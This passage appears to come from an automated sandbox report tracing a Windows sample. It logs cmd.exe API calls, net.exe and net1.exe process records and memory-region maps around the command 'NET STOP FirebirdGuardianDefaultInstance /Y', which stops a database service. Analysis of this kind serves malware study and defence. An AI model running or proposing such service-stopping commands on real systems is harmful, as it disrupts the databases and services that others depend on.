out: lpFindFileData=0x3fee54) returned 0xffffffff [0039.038] GetLastError () returned 0x2 [0039.038] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\net.EXE", fInfoLevelId=0x1, lpFindFileData=0x3fee54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3fee54) returned 0x441ce8 [0039.038] FindClose (in: hFindFile=0x441ce8 | out: hFindFile=0x441ce8) returned 1 [0039.038] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0039.038] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0039.038] GetConsoleTitleW (in: lpConsoleTitle=0x3ff34c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0039.039] InitializeProcThreadAttributeList (in: lpAttributeList=0x3ff1d4, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3ff29c | out: lpAttributeList=0x3ff1d4, lpSize=0x3ff29c) returned 1 [0039.039] UpdateProcThreadAttribute (in: lpAttributeList=0x3ff1d4, dwFlags=0x0, Attribute=0x60001, lpValue=0x3ff294, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3ff1d4, lpPreviousValue=0x0) returned 1 [0039.039] GetStartupInfoW (in: lpStartupInfo=0x3ff190 | out: lpStartupInfo=0x3ff190*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x4319e8, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0039.039] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0039.039] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0039.039] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0039.039] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0039.039] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0039.039] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0039.039] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0039.039] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0039.039] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0039.039] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0039.039] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0039.039] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0039.039] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0039.039] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0039.039] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0039.039] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0039.039] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0039.039] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0039.039] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0039.039] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0039.039] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0039.039] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0039.039] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0039.040] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0039.040] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0039.040] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0039.040] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0039.040] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0039.040] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0039.040] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0039.040] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0039.040] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0039.040] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0039.040] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0039.040] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0039.040] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0039.040] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0039.040] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0039.040] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0039.040] lstrcmpW (lpString1="\\net.exe", lpString2="\\XCOPY.EXE") returned -1 [0039.042] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\net.exe", lpCommandLine="NET STOP FirebirdGuardianDefaultInstance /Y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x3ff230*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="NET STOP FirebirdGuardianDefaultInstance /Y", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3ff27c | out: lpCommandLine="NET STOP FirebirdGuardianDefaultInstance /Y", lpProcessInformation=0x3ff27c*(hProcess=0x7c, hThread=0x78, dwProcessId=0xb08, dwThreadId=0xb0c)) returned 1 [0039.047] CloseHandle (hObject=0x78) returned 1 [0039.047] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0039.047] GetEnvironmentStringsW () returned 0x444df8* [0039.047] FreeEnvironmentStringsW (penv=0x444df8) returned 1 [0039.047] WaitForSingleObject (hHandle=0x7c, dwMilliseconds=0xffffffff) returned 0x0 [0039.199] GetExitCodeProcess (in: hProcess=0x7c, lpExitCode=0x3ff170 | out: lpExitCode=0x3ff170*=0x2) returned 1 [0039.199] CloseHandle (hObject=0x7c) returned 1 [0039.199] _vsnwprintf (in: _Buffer=0x3ff2b8, _BufferCount=0x13, _Format="%08X", _ArgList=0x3ff17c | out: _Buffer="00000002") returned 8 [0039.199] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0039.199] GetEnvironmentStringsW () returned 0x4461f0* [0039.199] FreeEnvironmentStringsW (penv=0x4461f0) returned 1 [0039.199] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0039.199] GetEnvironmentStringsW () returned 0x4461f0* [0039.199] FreeEnvironmentStringsW (penv=0x4461f0) returned 1 [0039.199] DeleteProcThreadAttributeList (in: lpAttributeList=0x3ff1d4 | out: lpAttributeList=0x3ff1d4) [0039.199] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.199] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.200] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.200] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49d841ac | out: lpMode=0x49d841ac) returned 1 [0039.200] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.200] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49d841b0 | out: lpMode=0x49d841b0) returned 1 [0039.200] SetConsoleInputExeNameW () returned 0x1 [0039.200] GetConsoleOutputCP () returned 0x1b5 [0039.200] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49d84260 | out: lpCPInfo=0x49d84260) returned 1 [0039.200] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.200] exit (_Code=2) Process: id = "21" image_name = "net.exe" filename = "c:\\windows\\syswow64\\net.exe" page_root = "0x4d439000" os_pid = "0xb08" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "20" os_parent_pid = "0xaf0" cmd_line = "NET STOP FirebirdGuardianDefaultInstance /Y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1149 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1150 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1151 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1152 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1153 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1154 start_va = 0x1b0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1155 start_va = 0x2e0000 end_va = 0x35ffff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 1156 start_va = 0x480000 end_va = 0x497fff entry_point = 0x480000 region_type = mapped_file name = "net.exe" filename = "\\Windows\\SysWOW64\\net.exe" (normalized: "c:\\windows\\syswow64\\net.exe") Region: id = 1157 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1158 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1159 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1160 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1161 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1162 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1163 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1164 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1165 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1166 start_va = 0x5f0000 end_va = 0x66ffff entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 1167 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1168 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1169 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1170 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1171 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1172 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1173 start_va = 0x450000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 1174 start_va = 0x7c0000 end_va = 0x8bffff entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 1175 start_va = 0x751e0000 end_va = 0x751e6fff entry_point = 0x751e0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 1176 start_va = 0x751f0000 end_va = 0x7520bfff entry_point = 0x751f0000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 1177 start_va = 0x75210000 end_va = 0x7521efff entry_point = 0x75210000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 1178 start_va = 0x75220000 end_va = 0x75238fff entry_point = 0x75220000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 1179 start_va = 0x75240000 end_va = 0x7524efff entry_point = 0x75240000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\SysWOW64\\samcli.dll" (normalized: "c:\\windows\\syswow64\\samcli.dll") Region: id = 1180 start_va = 0x75250000 end_va = 0x7525cfff entry_point = 0x75250000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 1181 start_va = 0x75260000 end_va = 0x75268fff entry_point = 0x75260000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 1182 start_va = 0x75280000 end_va = 0x75291fff entry_point = 0x75280000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 1183 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1184 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1185 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1186 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1187 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1188 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1189 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1190 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1191 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 1192 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 1193 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1194 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1195 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Thread: id = 22 os_tid = 0xb0c Process: id = "22" image_name = "net1.exe" filename = "c:\\windows\\syswow64\\net1.exe" page_root = "0x4dbf4000" os_pid = "0xb10" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "21" os_parent_pid = "0xb08" cmd_line = "C:\\Windows\\system32\\net1 STOP FirebirdGuardianDefaultInstance /Y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1196 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1197 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1198 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1199 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1200 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1201 start_va = 0xf0000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1202 start_va = 0x1e0000 end_va = 0x25ffff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1203 start_va = 0xe90000 end_va = 0xeb9fff entry_point = 0xe90000 region_type = mapped_file name = "net1.exe" filename = "\\Windows\\SysWOW64\\net1.exe" (normalized: "c:\\windows\\syswow64\\net1.exe") Region: id = 1204 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1205 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1206 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1207 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1208 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1209 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1210 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1211 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1212 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1213 start_va = 0x420000 end_va = 0x49ffff entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1214 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1215 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1216 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1217 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1218 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1219 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1220 start_va = 0x370000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 1221 start_va = 0x660000 end_va = 0x75ffff entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 1222 start_va = 0x75140000 end_va = 0x75157fff entry_point = 0x75140000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 1223 start_va = 0x75160000 end_va = 0x75171fff entry_point = 0x75160000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\SysWOW64\\samlib.dll" (normalized: "c:\\windows\\syswow64\\samlib.dll") Region: id = 1224 start_va = 0x75180000 end_va = 0x75190fff entry_point = 0x75180000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 1225 start_va = 0x751a0000 end_va = 0x751c1fff entry_point = 0x751a0000 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\SysWOW64\\logoncli.dll" (normalized: "c:\\windows\\syswow64\\logoncli.dll") Region: id = 1226 start_va = 0x751d0000 end_va = 0x751d8fff entry_point = 0x751d0000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\SysWOW64\\dsrole.dll" (normalized: "c:\\windows\\syswow64\\dsrole.dll") Region: id = 1227 start_va = 0x75210000 end_va = 0x7521efff entry_point = 0x75210000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 1228 start_va = 0x75220000 end_va = 0x75238fff entry_point = 0x75220000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 1229 start_va = 0x75240000 end_va = 0x7524efff entry_point = 0x75240000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\SysWOW64\\samcli.dll" (normalized: "c:\\windows\\syswow64\\samcli.dll") Region: id = 1230 start_va = 0x75250000 end_va = 0x7525cfff entry_point = 0x75250000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 1231 start_va = 0x75260000 end_va = 0x75268fff entry_point = 0x75260000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 1232 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1233 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1234 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1235 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1236 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1237 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1238 start_va = 0x764c0000 end_va = 0x764f4fff entry_point = 0x764c0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1239 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1240 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1241 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 1242 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 1243 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1244 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1245 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1246 start_va = 0x75130000 end_va = 0x75131fff entry_point = 0x75130000 region_type = mapped_file name = "netmsg.dll" filename = "\\Windows\\SysWOW64\\netmsg.dll" (normalized: "c:\\windows\\syswow64\\netmsg.dll") Thread: id = 23 os_tid = 0xb14 [0039.163] 